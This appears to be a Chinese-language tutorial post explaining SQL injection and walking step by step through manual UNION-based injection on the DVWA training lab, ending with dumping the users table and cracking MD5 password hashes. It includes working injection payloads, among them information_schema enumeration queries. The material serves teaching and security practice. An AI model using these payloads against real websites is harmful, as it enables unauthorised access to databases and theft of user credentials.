隐藏

什么是SQL注入?

发布:2022/12/8 15:21:14作者:管理员 来源:本站 浏览次数:546

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。


Sql 注入带来的威胁主要有如下几点


   猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

   绕过认证,列如绕过验证登录网站后台。

   注入可以借助数据库的存储过程进行提权等操作


自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。


1.判断是否存在注入,注入是字符型还是数字型


2.猜解SQL查询语句中的字段数


3.确定显示的字段顺序


4.获取当前数据库


5.获取数据库中的表


6.获取表中的字段名


7.下载数据


我们使用有现成漏洞的dvwa实验环境来进行注入,选择安全级别为LOW


查看SQL注入测试页面的源码:


通过源码我们发现它对参数没有任何的过滤  直接带入数据库进行查询  我们猜测肯定给存在字符型sql注入


开始工作:


1. 判断是否存在注入,注入是字符型还是数字型


输入1,


查询成功。


输入1’and ‘1’ =’2,查询失败,返回结果为空:



输入1’or ‘1234 ’=’1234,查询成功:


说明存在字符型注入


接下来我们猜解sql查询语句中的字段数 (逐渐增加order by后面的数字的大小进行猜测)


当输入3#时就出现了错误,说明只有两列的数据   查询的表的字段数是2


union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,而我们之前已经知道了主查询列数为 2,接下来就好办了。

输入1' union select database(),user()#进行查询 :


   database()将会返回当前网站所使用的数据库名字.

   user()将会返回执行当前查询的用户名.


同理我们再输入 1' union select version(),@@version_compile_os#进行查询:


version() 获取当前数据库版本.


@@version_compile_os 获取当前操作系统


进行回显:


接下来我们尝试获取 dvwa 数据库中的表名。

information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。


我们输入1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#进行查询:


通过上图返回信息,我们再获取到:dvwa 数据库有两个数据表,分别是 guestbook 和 users .


接下来我们获取表中的字段名     1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'# 


其中,user和password正是我们想要的


下面我们获得字段中的数据         1' union select user,password from users#



爆出来的一长串16进制字符就是md5加密的密码


通过md5解密即可得到密码